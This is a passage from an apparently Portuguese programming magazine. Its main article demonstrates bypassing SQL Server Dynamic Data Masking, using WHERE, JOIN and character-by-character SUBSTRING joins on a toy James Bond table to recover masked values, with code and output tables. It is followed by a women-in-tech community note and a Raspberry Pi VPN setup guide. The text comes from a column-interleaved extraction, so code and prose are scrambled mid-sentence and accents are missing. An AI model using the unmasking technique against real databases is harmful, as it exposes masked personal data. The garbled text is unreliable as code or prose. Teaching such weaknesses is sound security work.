(importante!), vamos ento criar alguns utilizadores:
Este artigo sobre Hacking, em particular a SQL Server,
vem na sequncia duma sesso com o mesmo nome que fiz USE <nome_da_base_de_dados_criada>;
mais de uma dezena de vezes (maioritariamente no estrangei- GO
ro), e cujos exemplos aqui partilho (e eventualmente tambm
CREATE USER M WITHOUT LOGIN;
em futuras edies). CREATE USER Q WITHOUT LOGIN;
CREATE USER Sean WITHOUT LOGIN;
Neste caso vamos falar sobre Dynamic Data Masking CREATE USER David WITHOUT LOGIN;
(DDM) (https://msdn.microsoft.com/en-us/library/ CREATE USER George WITHOUT LOGIN;
mt130841.aspx), uma nova funcionalidade da verso 2016 do CREATE USER Roger WITHOUT LOGIN;
CREATE USER Timothy WITHOUT LOGIN;
SQL Server da Microsoft. Resumidamente, impede quem faa CREATE USER Pierce WITHOUT LOGIN;
um simples query de SELECT de ver alguns campos crticos CREATE USER Daniel WITHOUT LOGIN;
(nmero de carto de crdito, morada, telefone, etc.), substitu-
indo-os por um padro de caracteres a definir pelo utilizador. De seguida criamos a tabela de filmes/misses e co-
S quem tem uma permisso especial, a de UNMASK (que s locamos os dados:
existe ao nvel de toda a base de dados por enquanto), poder
ver os resultados sem estarem mascarados. Isto aplica-se tam- CREATE TABLE dbo.BondFilms
bm ao utilizador que faz backups, que caso no tenha tam- (
bm UNMASK apenas salvar lixo (idem para SELECT INTO FilmID INT NOT NULL,
FilmTitle NVARCHAR(64) NOT NULL,
ou INSERT INTO). Note-se que fazer INSERT ou UPDATE ao FilmYear INT NOT NULL,
campo vai alterar normalmente nos dados (que depois ficam BondActor NVARCHAR(64) NOT NULL,
automaticamente mascarados). Agent SYSNAME NOT NULL,
CONSTRAINT PK_BondFilms PRIMARY KEY
CLUSTERED ( FilmID ASC )
CREATE TABLE Membership ( MemberID int IDENTITY );
PRIMARY KEY, FirstName varchar(66) MASKED WITH -- Insert some REAL top secret for-your-eyes-
(FUNCTION = 'partial(1,"XXXXXXX",0)') NULL, only information
LastName varchar(66) NOT NULL, -- Leaked from here: https://en.wikipedia.org/
Phone varchar(66) MASKED WITH (FUNCTION = wiki/List_of_James_Bond_films
'default()') NULL, INSERT INTO dbo.BondFilms
Email varchar(66) MASKED WITH (FUNCTION (FilmID, FilmTitle, FilmYear, BondActor, Agent)
= 'email()' ) NULL); VALUES
( 1, 'Dr. No', 1962,
Original: 'Sean Connery', 'Sean' ),
1 Roberto Tamburello 555.123.4567 ( 2, 'From Russia with Love', 1963,
RTamburello@contoso.com 'Sean Connery', 'Sean' ),
( 3, 'Goldfinger', 1964,
Masked: 'Sean Connery', 'Sean' ),
1 RXXXXXXX Tamburello xxxx ( 4, 'Thunderball', 1965,
RXXX@XXXX.com 'Sean Connery', 'Sean' ),
( 5, 'Casino Royale', 1967,
Infelizmente, h quem considere erradamente que DDM 'David Niven', 'David' ),
( 6, 'You Only Live Twice', 1967,
uma medida de segurana. No , e segundo a Microsoft 'Sean Connery', 'Sean' ),
nunca pretendeu ser. apenas uma forma de facilitar alguma ( 7, 'On Her Majesty''s Secret Service', 1969,
privacidade, mas sem qualquer garantia. O grande problema 'George Lazenby', 'George' ),
( 8, 'Diamonds Are Forever', 1971,
que quem implementa DDM, se estiver menos informado, ter 'Sean Connery', 'Sean' ),
uma falsa sensao de segurana. ( 9, 'Live and Let Die', 1973,
'Roger Moore', 'Roger' ),
O exemplo que se segue s funciona na verso 2016 ou (10, 'The Man with the Golden Gun', 1974,
superior do SQL Server. O cdigo fonte completo est dispon- 'Roger Moore', 'Roger' ),
vel AQUI. Para correr basta criar uma base de dados vazia e (11, 'The Spy Who Loved Me', 1977,
'Roger Moore', 'Roger' ),
executar gradualmente esse cdigo. (12, 'Moonraker', 1979,
'Roger Moore', 'Roger' ),
Cenrio: A tabela tem a lista dos filmes/misses MI6 do (13, 'For Your Eyes Only', 1981,
007 James Bond. Apenas a/o chefe "M" tem direito a ver todo o 'Roger Moore', 'Roger' ),
contedo. Os demais colaboradores no podem ver que agen- (14, 'Octopussy', 1983,

72
Segurana

NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING


'Roger Moore', 'Roger' ), GO
(15, 'Never Say Never Again', 1983,
'Sean Connery', 'Sean' ), -- We are so confident in our security that we're
(16, 'A View to a Kill', 1985, assigning read permissions
'Roger Moore', 'Roger' ), -- to everyone.
(17, 'The Living Daylights', 1987, -- /!\ Please don't do this in a production
'Timothy Dalton', 'Timothy'), environment, assign
(18, 'Licence to Kill', 1989, -- permissions to the group(s) or role(s) the
'Timothy Dalton', 'Timothy'), users belong
(19, 'GoldenEye', 1995, GRANT SELECT ON dbo.BondFilms TO Public;
'Pierce Brosnan', 'Pierce' ), GRANT SELECT ON dbo.Agents TO Public;
(20, 'Tomorrow Never Dies', 1997,
'Pierce Brosnan', 'Pierce' ), GRANT UNMASK TO M; -- M is allowed to see masked
(21, 'The World Is Not Enough', 1999, fields
'Pierce Brosnan', 'Pierce' ),
(22, 'Die Another Day', 2002, Se estivermos como DBO (database owner) temos
'Pierce Brosnan', 'Pierce' ),
(23, 'Casino Royale', 2006, UNMASK por omisso. Tanto um DBO como o utilizador "M"
'Daniel Craig', 'Daniel' ), vo ver exactamente a mesma tabela de cima, no mascara-
(24, 'Quantum of Solace', 2008, da, mas se formos o utilizador "Sean" (ou outro que no
'Daniel Craig', 'Daniel' ),
(25, 'Skyfall', 2012, "M"), veremos a coluna mascarada:
'Daniel Craig', 'Daniel' ), -- Super advanced top secret spying technique
(26, 'Spectre', 2015, SELECT * FROM dbo.BondFilms; -- Seen as DBO using
'Daniel Craig', 'Daniel' ); DDM - Returns unmasked

EXECUTE AS USER = 'M';


Usando uma tcnica extremamente avanada de espio- SELECT * FROM dbo.BondFilms; -- Seen as M using
nagem podemos ver o contedo da tabela (antes de aplicar DDM - Returns unmasked
DDM): REVERT; -- Go back to connection default user
SELECT * FROM dbo.BondFilms; EXECUTE AS USER = 'Sean';
SELECT * FROM dbo.BondFilms; -- Seen as Sean
using DDM - Returns MASKED
Imagem DEMO1-MissesRAW no final do artigo REVERT;

Vamos agora criar uma tabela de agentes que ser til Imagem - DEMO3-MissesMASKED no final do artigo
mais tarde, e ver o seu contedo:
Vamos ento "atacar". Comeamos por pedir algo (
tentativa) com uma condio WHERE:
CREATE TABLE dbo.Agents
(
Agent SYSNAME NOT NULL, EXECUTE AS USER = 'Sean';
BondActor NVARCHAR(64) NOT NULL, SELECT * -- Seen as Sean
CONSTRAINT PK_Agents PRIMARY KEY CLUSTERED using DDM with WHERE hack
( Agent ASC ) FROM dbo.BondFilms
); WHERE BondActor Like '%Roger%' -- Hack: infer the
content of the field
-- Insert some REAL top secret for-your-eyes-only REVERT;
information
-- Leaked from here: https://en.wikipedia.org/wiki/
List_of_James_Bond_films Imagem - DEMO4-HackWHERE no final do artigo
INSERT INTO dbo.Agents
(Agent, BondActor) Como podem ver, conseguimos facilmente encontrar
SELECT DISTINCT Agent, BondActor as misses do utilizador Roger (neste caso at podia ser o
FROM dbo.BondFilms;
Roger Moore ou o Roger Rabbit, mas claro que podemos
-- Super advanced top secret spying technique limitar na condio). Mas este hack implica ter algum conhe-
SELECT * FROM dbo.Agents; cimento dos valores possveis no campo, ainda mais se se
trata dum campo de texto.
Imagem DEMO2-AgentesRAW no final do artigo
O hack seguinte aproveita a tabela de Agents que
Vamos agora aplicar Dynamic Data Masking ao campo
crimos anteriormente:
BondActor (deixamos as duas primeiras letras visveis, assim
como o campo duplicado Agent para podermos comparar).
Atribuimos tambm permisses de SELECT a todos os utiliza- EXECUTE AS USER = 'Sean';
SELECT b.*, a.BondActor AS AGENTS_BondActor --
dores nestas tabelas, e de UNMASK ao utilizador "M": Seen as Sean using DDM with EXACT JOIN hack
FROM dbo.BondFilms b
ALTER TABLE dbo.BondFilms INNER JOIN
ALTER COLUMN BondActor ADD MASKED WITH (FUNCTION = dbo.Agents a
'Partial(2, " ", 0)'); ON b.BondActor = a.BondActor -- Hack: infer
-- Nota: o caracter de mscara o que quisermos the content with JOIN
(neste caso " ") REVERT;

73
Segurana

NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING


Imagem - DEMO5-HackJOIN no final do artigo INNER JOIN dbo.Letters AS k04 ON
(k04.Letter = SUBSTRING(b.BondActor,04,1))
No conseguimos ver o contedo do campo mascarado, INNER JOIN dbo.Letters AS k05 ON
mas JOIN de uma tabela ligando pelo campo mascarado per- (k05.Letter = SUBSTRING(b.BondActor,05,1))
mite ver o seu contedo. Com esta tcnica podemos facilmente INNER JOIN dbo.Letters AS k06 ON
(k06.Letter = SUBSTRING(b.BondActor,06,1))
perceber o contedo exacto dum campo do tipo inteiro (e.g. INNER JOIN dbo.Letters AS k07 ON
com uma tabela com os valores todos desde -2147483648 a (k07.Letter = SUBSTRING(b.BondActor,07,1))
+2147483647) ou de campo do tipo data e/ou hora (e.g. com INNER JOIN dbo.Letters AS k08 ON
(k08.Letter = SUBSTRING(b.BondActor,08,1))
todas das datas desde 1900-01-01 at hoje). INNER JOIN dbo.Letters AS k09 ON
Mas se o campo for de texto, eventualmente longo (e.g. (k09.Letter = SUBSTRING(b.BondActor,09,1))
INNER JOIN dbo.Letters AS k10 ON
100 caracteres), e no tivermos a mnima ideia dos seus valo- (k10.Letter = SUBSTRING(b.BondActor,10,1))
res possveis? Claro que podamos tentar LIKE com valores INNER JOIN dbo.Letters AS k11 ON
desde '%A%' at '%Z%', mas isso no ajudaria muito. Vamos a (k11.Letter = SUBSTRING(b.BondActor,11,1))
INNER JOIN dbo.Letters AS k12 ON
outra tcnica. Comeamos por criar uma tabela cujo contedo (k12.Letter = SUBSTRING(b.BondActor,12,1))
um nico caracter, com os todos os valores possveis (aqui INNER JOIN dbo.Letters AS k13 ON
esto s de A-Z e espao, mas podemos incluir todos os outros (k13.Letter = SUBSTRING(b.BondActor,13,1))
INNER JOIN dbo.Letters AS k14 ON
caracteres Unicode para ficar completo). De seguida aplicamos (k14.Letter = SUBSTRING(b.BondActor,14,1))
o JOIN caracter a caracter (o exemplo tem apenas at posi- REVERT;
o 14 porque sabemos que no h mais, mas na vida real o
limite seria o tamanho do campo):
Imagem - DEMO6-HackPARTIAL no final do artigo
CREATE TABLE dbo.Letters Pelo resultado, ser fcil concatenar cada uma das
(
Letter NVARCHAR(1) NOT NULL, colunas e perceber exactamente o contedo do campo mas-
CONSTRAINT PK_Letters PRIMARY KEY CLUSTERED carado!
( Letter ASC )
); Finalmente, e para explicar como possvel atacar o
DDM, aqui fica um exemplo que NO funciona:
INSERT INTO dbo.Letters (Letter)
VALUES ('A'), ('B'), ('C'), ('D'), ('E'), ('F'), EXECUTE AS USER = 'Sean';
('G'), ('H'), ('I'), SELECT b.*,
('J'), ('K'), ('L'), ('M'), ('N'), ('O'), (SELECT Letter FROM dbo.Letters AS
('P'), ('Q'), ('R'), k01 WHERE k01.Letter = SUBSTRING
('S'), ('T'), ('U'), ('V'), ('W'), ('X'), (b.BondActor,1,1)) AS L01,
('Y'), ('Z'), (' '); (SELECT Letter FROM dbo.Letters AS
k02 WHERE k02.Letter = SUBSTRING
GRANT SELECT ON dbo.Letters TO Public; -- Very sa- (b.BondActor,2,1)) AS L02,
fe! (SELECT Letter FROM dbo.Letters AS
k03 WHERE k03.Letter = SUBSTRING
-- Spies don't call it stalking... (b.BondActor,3,1)) AS L03
SELECT * FROM dbo.Letters; -- Seen as Sean using DDM with PAR-
TIAL FIND hack - This WON'T WORK
FROM dbo.BondFilms b
-- Get letter by letter (here using subqueries)... REVERT;
EXECUTE AS USER = 'Sean';
SELECT b.*,
k01.Letter AS L01,
k02.Letter AS L02, Imagem - DEMO7-HackFAIL no final do artigo
k03.Letter AS L03,
k04.Letter AS L04, A razo simples: se consultarmos o query plan,
k05.Letter AS L05, quando fazemos um WHERE ou um JOIN, estamos a faz-lo
k06.Letter AS L06, no incio do query, mas o contedo do SELECT feito mes-
k07.Letter AS L07,
k08.Letter AS L08, mo no final. Ora, a aplicao da mscara de DDM feita
k09.Letter AS L09, mesmo antes de processar o SELECT.
k10.Letter AS L10,
k11.Letter AS L11,
k12.Letter AS L12,
k13.Letter AS L13,
k14.Letter AS L14
-- Seen as Sean using DDM with PARTIAL
JOIN hack
FROM dbo.BondFilms b
INNER JOIN dbo.Letters AS k01 ON (k01.Letter
= SUBSTRING(b.BondActor,01,1))
INNER JOIN dbo.Letters AS k02 ON (k02.Letter
= SUBSTRING(b.BondActor,02,1))
INNER JOIN dbo.Letters AS k03 ON (k03.Letter
= SUBSTRING(b.BondActor,03,1))

74
Segurana

NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING


Finalmente, o bl bl bl legal: Isto um exemplo de
Ethical Hacking, para ajudar a compreender e resolver pro-
blemas de segurana e no deve ser usado para fins ilci-
tos (embora fazer partidas aos colegas seja perfeitamente
aceitvel).

FilmID FilmTitle FilmYear BondActor Agent


1 Dr. No 1962 Sean Connery Sean
2 From Russia with Love 1963 Sean Connery Sean
3 Goldfinger 1964 Sean Connery Sean
4 Thunderball 1965 Sean Connery Sean
21 The World Is Not Enough 1999 Pierce Brosnan Pierce
22 Die Another Day 2002 Pierce Brosnan Pierce
23 Casino Royale 2006 Daniel Craig Daniel
24 Quantum of Solace 2008 Daniel Craig Daniel
25 Skyfall 2012 Daniel Craig Daniel
26 Spectre 2015 Daniel Craig Daniel

Demo 1

Agent BondActor
Daniel Daniel Craig
David David Niven
George George Lazenby
Pierce Pierce Brosnan
Roger Roger Moore
Sean Sean Connery
Timothy Timothy Dalton

Demo 2

FilmID FilmTitle FilmYear BondActor Agent


1 Dr. No 1962 Se Sean
2 From Russia with Love 1963 Se Sean
3 Goldfinger 1964 Se Sean
4 Thunderball 1965 Se Sean
5 Casino Royale 1967 Da David
6 You Only Live Twice 1967 Se Sean
18 Licence to Kill 1989 Ti Timothy
19 GoldenEye 1995 Pi Pierce
20 Tomorrow Never Dies 1997 Pi Pierce
21 The World Is Not Enough 1999 Pi Pierce
22 Die Another Day 2002 Pi Pierce
23 Casino Royale 2006 Da Daniel
24 Quantum of Solace 2008 Da Daniel
25 Skyfall 2012 Da Daniel
26 Spectre 2015 Da Daniel

Demo 3

75
Segurana

NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING



FilmID FilmTitle FilmYear BondActor Agent
9LiveandLetDie 1973Ro Roger
10TheManwiththeGoldenGun 1974Ro Roger
11TheSpyWhoLovedMe 1977Ro Roger
12Moonraker 1979Ro Roger
13ForYourEyesOnly 1981Ro Roger
14Octopussy 1983Ro Roger
16AViewtoaKill 1985Ro Roger
Demo 4

FilmID FilmTitle FilmYear BondActor Agent AGENTS_BondActor


1 Dr. No 1962 Se Sean Sean Connery
2 From Russia with Love 1963 Se Sean Sean Connery
3 Goldfinger 1964 Se Sean Sean Connery
4 Thunderball 1965 Se Sean Sean Connery
5 Casino Royale 1967 Da David David Niven
6 You Only Live Twice 1967 Se Sean Sean Connery
7 On Her Majesty's Secret Service 1969 Ge George George Lazenby
8 Diamonds Are Forever 1971 Se Sean Sean Connery
9 Live and Let Die 1973 Ro Roger Roger Moore
10 The Man with the Golden Gun 1974 Ro Roger Roger Moore
11 The Spy Who Loved Me 1977 Ro Roger Roger Moore
12 Moonraker 1979 Ro Roger Roger Moore
13 For Your Eyes Only 1981 Ro Roger Roger Moore
14 Octopussy 1983 Ro Roger Roger Moore
15 Never Say Never Again 1983 Se Sean Sean Connery
16 A View to a Kill 1985 Ro Roger Roger Moore
17 The Living Daylights 1987 Ti Timothy Timothy Dalton
18 Licence to Kill 1989 Ti Timothy Timothy Dalton
19 GoldenEye 1995 Pi Pierce Pierce Brosnan
20 Tomorrow Never Dies 1997 Pi Pierce Pierce Brosnan
21 The World Is Not Enough 1999 Pi Pierce Pierce Brosnan
22 Die Another Day 2002 Pi Pierce Pierce Brosnan
23 Casino Royale 2006 Da Daniel Daniel Craig
24 Quantum of Solace 2008 Da Daniel Daniel Craig
25 Skyfall 2012 Da Daniel Daniel Craig
26 Spectre 2015 Da Daniel Daniel Craig

Demo 5

76
Segurana

NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING


FilmID FilmTitle FilmYear BondActor Agent L01 L02 L03 L04 L05 L06 L07 L08 L09 L10 L11 L12 L13 L14

1 Dr. No 1962 Se Sean S E A N C O N N E R Y


2 From Russia with Love 1963 Se Sean S E A N C O N N E R Y
3 Goldfinger 1964 Se Sean S E A N C O N N E R Y
4 Thunderball 1965 Se Sean S E A N C O N N E R Y
5 Casino Royale 1967 Da David D A V I D N I V E N
6 You Only Live Twice 1967 Se Sean S E A N C O N N E R Y

7 On Her Majesty's Secret Service 1969 Ge George G E O R G E L A Z E N B Y


8 Diamonds Are Forever 1971 Se Sean S E A N C O N N E R Y
9 Live and Let Die 1973 Ro Roger R O G E R M O O R E

10 The Man with the Golden Gun 1974 Ro Roger R O G E R M O O R E


11 The Spy Who Loved Me 1977 Ro Roger R O G E R M O O R E
22 Die Another Day 2002 Pi Pierce P I E R C E B R O S N A N
23 Casino Royale 2006 Da Daniel D A N I E L C R A I G
24 Quantum of Solace 2008 Da Daniel D A N I E L C R A I G
25 Skyfall 2012 Da Daniel D A N I E L C R A I G
26 Spectre 2015 Da Daniel D A N I E L C R A I G

Demo 6

FilmID FilmTitle FilmYear BondActor Agent L01 L02 L03


1 Dr. No 1962 Se Sean x x x
2 From Russia with Love 1963 Se Sean x x x
3 Goldfinger 1964 Se Sean x x x
4 Thunderball 1965 Se Sean x x x
5 Casino Royale 1967 Da David x x x
6 You Only Live Twice 1967 Se Sean x x x
7 On Her Majesty's Secret Service 1969 Ge George x x x
8 Diamonds Are Forever 1971 Se Sean x x x
9 Live and Let Die 1973 Ro Roger x x x
10 The Man with the Golden Gun 1974 Ro Roger x x x
11 The Spy Who Loved Me 1977 Ro Roger x x x
23 Casino Royale 2006 Da Daniel x x x
24 Quantum of Solace 2008 Da Daniel x x x
25 Skyfall 2012 Da Daniel x x x
26 Spectre 2015 Da Daniel x x x

Demo 7

AUTOR
Escrito por Andr Melancia

Independent Developer/DBA/Consultant. Microsoft Certified Trainer (MCT) focusing on SQL Server, Azu-
re and IoT. 17+ years' fun developing information and multimedia systems, DBA, project and IT manage-
ment. PowerShell Portugal, IT Pro Portugal and IoT Portugal communities organiser. IPv6 Portugal, DNS-
Sec Portugal and Windows Development Portugal online communities moderator. Actively volunteering,
organising, speaking or just participating at community meetings and events like SQLSaturdays, SQLBits,
SQLRelay, Maker Faire Lisbon, Arduino/Genuino Day Lisbon, Global Azure Bootcamp Lisbon, etc.

Proud uncle and food devouring expert, with dangerous ussy cat as companion.

Go to http://Andy.PT and you'll know the same as the NSA...

77
No Code
A primeira comunidade portuguesa de mulheres em tecnologia apresenta-se com no-
vo nome e objetivos mais ambiciosos
Instalando um servidor VPN num Raspberry Pi
Segurana Familiar Microsoft no Windows 10: Um guia para Pais e Educadores
GameJAM
Entrevista a: Edite Amorim
No Code
A primeira comunidade portuguesa de mulheres em tecnologia apresenta-se

com novo nome e objetivos mais ambiciosos


Seis anos depois de ser criada, a primeira Sero realizadas sesses de sensibilizao em
comunidade portuguesa de mulheres em tecnologia escolas de modo a apresentar carreiras reais de
apresentou em setembro do corrente ano um novo nome, mulheres na tecnologia.
imagem, site e objetivos mais ambiciosos.
A equipa mantm-se, com presena em Braga, Porto,
Em 2010 nasceu em Portugal a primeira comunidade Coimbra, Leiria e Lisboa (querendo chegar ainda a mais
para juntar e dar a conhecer mulheres na rea da tecnologia cidades). Em 2016 realizaram-se 15 encontros de norte a sul
- 'Portugal Girl Geek Dinners' (PGGD). do pas Braga (1), Vila do Conde (1), Porto (5), Coimbra (1)
A PGGD integrava um movimento de carter e Lisboa (6) que permitiram s mulheres reunirem-se e
internacional que comeou em Londres, em 2005, e debaterem temas como design e experincia do utilizador,
rapidamente se estendeu a vrios pases. realidade virtual, qualidade, gesto de projetos, Agile, social
media, anlise preditiva, entre outros. Este foi tambm o ano
Os objetivos centrais eram trs: em que mais empresas apoiaram a concretizao destes
encontros.
Facilitar o contacto entre mulheres interessadas em
tecnologia, habituadas a estar em minoria numa rea As G2PT foram, em novembro, selecionadas para
dominada por homens; organizar um dos meetups do Web Summit. Conseguiram
nesse evento reunir 80 mulheres de vrias nacionalidades
Promover formas de encorajar o interesse do gnero num grande momento de networking, ficando mais de 100
feminino por esta rea; pessoas em lista de espera para participar no mesmo.
Combater esteretipos sociais. Atualmente, as Geek Girls Portugal contam com mais
de 300 mulheres das mais variadas faixas etrias e com
Em seis anos de existncia em Portugal, a PGGD
diferentes percursos profissionais e acadmicos.
realizou uma srie de encontros incluindo palestras, com o
apoio de grandes empresas como a Microsoft, a Deloitte ou a Em 2017 a comunidade avanar com novos projetos
Critical Manufacturing. de forma a permitir que cada vez mais mulheres tenham
contacto prximo com a tecnologia, no s a nvel
Agora, seis anos volvidos, a 'Portugal Girl Geek
profissional mas tambm na sua vida pessoal.
Dinner' renasce, com uma misso bem mais abrangente, que
o novo nome 'Geek Girls Portugal' (G2PT) reflete. Mais informao sobre a comunidade, como fazer
parte e como apoiar os seus objetivos pode ser encontrada
A G2PT pretende, a partir de agora, encorajar e
no site oficial em www.geekgirlsportugal.pt
inspirar jovens do gnero feminino a optarem por uma
carreira nesta rea. Para tal, as atividades sero alargadas
para alm dos habituais encontros/palestras regulares:

Ser criada uma rede de mentoras que iro


acompanhar jovens mulheres numa carreira
profissional tecnolgica ou no desenvolvimento de um
projeto especfico, com vista a chegar a um pblico
cada vez mais jovem;

Sero desenvolvidos workshops para aprofundar


diversos temas no campo da tecnologia;

AUTOR
Escrito por Vnia Gonalves (em colaborao com Joana Fillol)

80
No Code
INSTALANDO UM SERVIDOR VPN NUM RASPBERRY PI

Introduo 2. Utilizando o comando wget:


Uma rede privada virtual (VPN) uma rede de co-
sudo wget http://www.softether-download.com/files/
municaes privada, construda sobre uma rede de comuni- softether/v4.22-9634-beta-2016.11.27-tree/Linux/
caes pblica, como o caso da internet. O trfego de dados SoftEther_VPN_Server/32bit_-_ARM_EABI/softether-
transmitido pela rede pblica, mas encriptado de forma a vpnserver-v4.22-9634-beta-2016.11.27-linux-
arm_eabi-32bit.tar.gz
no permitir que esteja acessvel a quem no destinado.
Uma VPN apenas uma ligao estabelecida sobre uma Feito o download podemos proceder instalao do
infraestrutura pblica ou compartilhada, usando tecnologias SoftEther. Para tal vamos ter de extrair o ficheiro que descar-
de tunelamento e criptografia para manter seguros os dados regmos, recorrendo ao tar.
transmitidos.
sudo tar xzvf softether-vpnserver-v2.00-9387-rtm-
A importncia do uso de VPNs cada vez mais fala- 2013.09.16-linux-x86-32bit.tar.gz
da, uma vez que o uso de hotspots wifi abertos cada vez
Feito isto teremos uma directoria chamada vpnser-
maior. Isto torna cada vez mais comum o uso de locais onde
ver, onde poderemos compilar o SoftEther e de onde faremos
existam hotspots, pontos de frequentes ataques, recorrendo
a instalao. Para que a instalao tenha sucesso os seguin-
a dispositivos simples e muitas vezes feitos propositadamen-
tes packages tm de estar instalados: ma-
te para o efeito de levar a cabo interceptao e captura de
ke, gccbinutils, libc, zlib, openssl, readline, ncurses. Para
dados contendo passwords, sesses, etc
instalar deslocamos o cursor para a directoria vpnserver e
Ao longo desde artigo vou apresentar a instalao do executamos a instalao com os seguintes comandos:
SoftEther, no Raspberry Pi Pixel OS e a configurao do
mesmo. Uma das vantagens do SoftEther alm de ser open- cd vpnserver
sudo make
source, prende-se com o facto de disponibilizar uma ferra-
menta de configurao grfica, bastante simples e intuitiva.
Nota: Caso no estejam instados os packages necessrios
Instalao
compilao pode-se executar o seguinte comando para insta-
Antes de mais convm verificar se o sistema est lar os essenciais:
devidamente actualizado. Para tal executamos os seguintes
comandos: sudo apt-get install build-essential -y

apt-get update && apt-get upgrade

Feito isto podemos comear com a instalao do Neste passo vai ser preciso ler o License Agreement
SoftEther. Primeiramente vamos fazer o download do pro-
e selecionar a opo 1 para confirmar que se concorda com o
grama. Como no existem packages prontos, teremos de
descarregar do website. Existem muitas formas de o fazer mesmo.
pelo que vou apenas apresentar duas deixando ao leitor a
Uma vez terminado este passo, iremos mover a di-
escolha de qual utilizar:
rectoria vpnserver para /usr/local, onde ir ficar, bem como
1. Utilizando o Lynx: alterar algumas permisses a ficheiros para que o SoftEther
Para tal, temos de instalar o Lynx antes de fazermos o Server possa funcionar correctamente:
download:
sudo apt-get install lynx y cd ..
sudo mv vpnserver /usr/local
cd /usr/local/vpnserver/
sudo chmod 600 *
De seguida executamos o Lynx, escolhemos a sudo chmod 700 vpnserver
ltima verso do SoftEther Server para ARM EABI e descar- sudo chmod 700 vpncmd
regamos.

lynx http://www.softether-download.com/files/ Nota: possvel colocar o SoftEther Server a ser iniciado


softether/ automaticamente no arranque do sistema. Para tal bastar
criar um ficheiro chamado vpnserver na directoria /etc/init.d
com o contedo apresentado abaixo. Para criar o ficheiro
Convm ter a certeza que ao navegarmos, escolhe-
pode-se usar o editor nano ou outro qualquer seguido do
mos o ficheiro correcto e a ltima verso, que ter um nome
caminho e nome do ficheiro (sudo nano /etc/init.d/vpnserver)
parecido com softether-vpnserver-v4.XX-XXXX-XXXX-
e de seguida actualizar o arranque.
XXXX.XX.XX-linux-arm_eabi-32bit.tar.gz

81
No Code
NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING

#!/bin/sh Primeiro passo (Alterar a password de administrador).
# chkconfig: 2345 99 01
# description: SoftEther VPN Server Para realizar este passo executamos o vpncmd, selec-
DAEMON=/usr/local/vpnserver/vpnserver cionamos a opo 1 Managment of VPN Server or VPN Brid-
LOCK=/var/lock/subsys/vpnserver ge. No inserimos nenhum valor quando for pedido o ende-
test -x $DAEMON || exit 0
case "$1" in reo do servidor, uma vez que o servidor local, e quando for
start) apresentada a prompt, digitamos ServerPasswordSet, para
$DAEMON start alterar a palavra pass de administrador.
touch $LOCK
;; Segundo passo, criar um Hub Virtual, para se utilizar o
stop)
$DAEMON stop SoftEther.
rm $LOCK
;; obrigatrio criar um virtual hub, para se poder
restart) utilizar o SoftEther, assim sendo, neste caso chamaremos
$DAEMON stop ao hub VPN. Podem existir mais do que um HUB no mes-
sleep 3 mo servidor mas isso sai do mbito deste artigo. Vamos
$DAEMON start
;; utilizar novamente a ferramenta vpncmd. Dentro da ferra-
*) menta, na prompt dela basta digitar HubCreate VPN (neste
echo "Usage: $0 {start|stop|restart}" caso vpn o nome do nosso hub). De seguida o sistema ir
exit 1
esac solicitar a palavra passe de administrador do servidor, uma
exit 0 vez que estamos a efectuar configuraes.
Aps ter criado o ficheiro ainda preciso alterar as Assim que tenhamos criado o hub temos de o seleci-
permisses do mesmo com o comando: onar antes de prosseguir. Para isso, na prompt da ferramenta
digitamos Hub VPN .
sudo chmod 755 /etc/init.d/vpnserver && /etc/
init.d/vpnserver start Terceiro passo, activar o SecureNAT
Existem dois modos de acesso distintos a um
E por fim actualizar o arranque do sistema com o comando:
hub no SoftEther, o modo securenat e o modo bridge. Como
sudo update-rc.d vpnserver defaults o modo bridge no to comum de se utilizar e necessita
que se disponha de um servidor dhcp instalado localmente,
Neste momento o SoftEther Server j se deve encon- optaremos por usar apenas securenat evitando configuraes
trar em execuo pelo que teremos de verificar se est a de software adicionais. Para activar o securenat ainda dentro
funcionar correctamente. Para tal recorremos aos comandos da ferramenta vpncmd, na sua prompt digitamos SecureNat
seguintes: Enable .
cd /usr/local/vpnserver Quarto passo, criar e gerir utilizadores.
./vpncmd
Uma vez que j configurmos tudo at ao nosso hub
virtual, temos de criar os utilizadores para usar a VPN. Pode-
Neste momento pressionamos a tecla 3, para Use of mos criar utilizadores usando o comando UserCreate e ver a
VPN Tools e digitamos check. Se tudo apresentar a informa- lista de utilizadores existente usando o comando UserList. Os
o pass, digitamos exit para sair.
utilizadores podem ser adicionados a grupos e podem at ter
E pronto, temos o servidor instalado! Agora vamos a diferentes modos de autenticao (incluindo: Senha, Certifi-
configuraes! Existem duas formas distintas de configurar, cado, RADIUS, NTLM, etc.). Utilizando o comando UserCrea-
sendo uma a configurao local, usando a interface de linha te, na prompt da aplicao vpncmd vamos criar um utilizador
de comandos (vpncmd) e outra utilizando o software de ad- chamado paprevista. O comando ficaria assim: UserCreate
ministrao remota com interface grfica, que existe tanto paprevista.
para Windows, como para GNU/Linux e MacOS. Neste artigo
vou apenas focar as configuraes iniciais, recorrendo fer- A autenticao predefinida para os utilizadores
ramenta de interface de linha de comandos. No entanto, re- por password, mas poder ser alterada de acordo com o
comendo a todos os que forem mais proficientes em Win- que for pretendido usando os comandos listados abaixo:
dows o uso da ferramenta grfica para Windows, uma vez
UserNTLMSet for NT Domain Authentication
que muito intuitiva e simples de utilizar.
Configurando: UserPasswordSet for Password Authentication

Tal como j foi mencionado a configurao ser UserAnonymousSet for Anonymous Authentication
feita pela interface de linha de comandos recorrendo ao
UserRadiusSet for RADIUS Authentication
vpncmd. Esta configurao divide-se num conjunto de pas-
sos sequenciais que sero apresentados de seguida. UserCertSet for Individual Certificate Authentication

82
No Code
NSA SECRETS - HACKING SQL SERVER - DYNAMIC DATA (UN)MASKING
UserSignedSet for Signed Certificate Authentication Agora temos de transferir o certificado para os clien-
tes de vpn e adicion-los como trusted confiveis. Primeira-
Neste caso e apenas para manter a simplicidade, mente vamos guardar o certificado na directoria home do
vamos utilizar a autenticao por password e definir como nosso raspberry usando o comando ServerCertGet ~/
password !atsiveR para tal basta na prompt do vpncmd cert.cer .
digitar UserPasswordSet !atsiveR
Agora podemos transferir o certificado, quer seja por
Quinto passo, configurar o modo L2TP/IPSec SFTP quer seja em pen-drive, como nos for mais convenien-
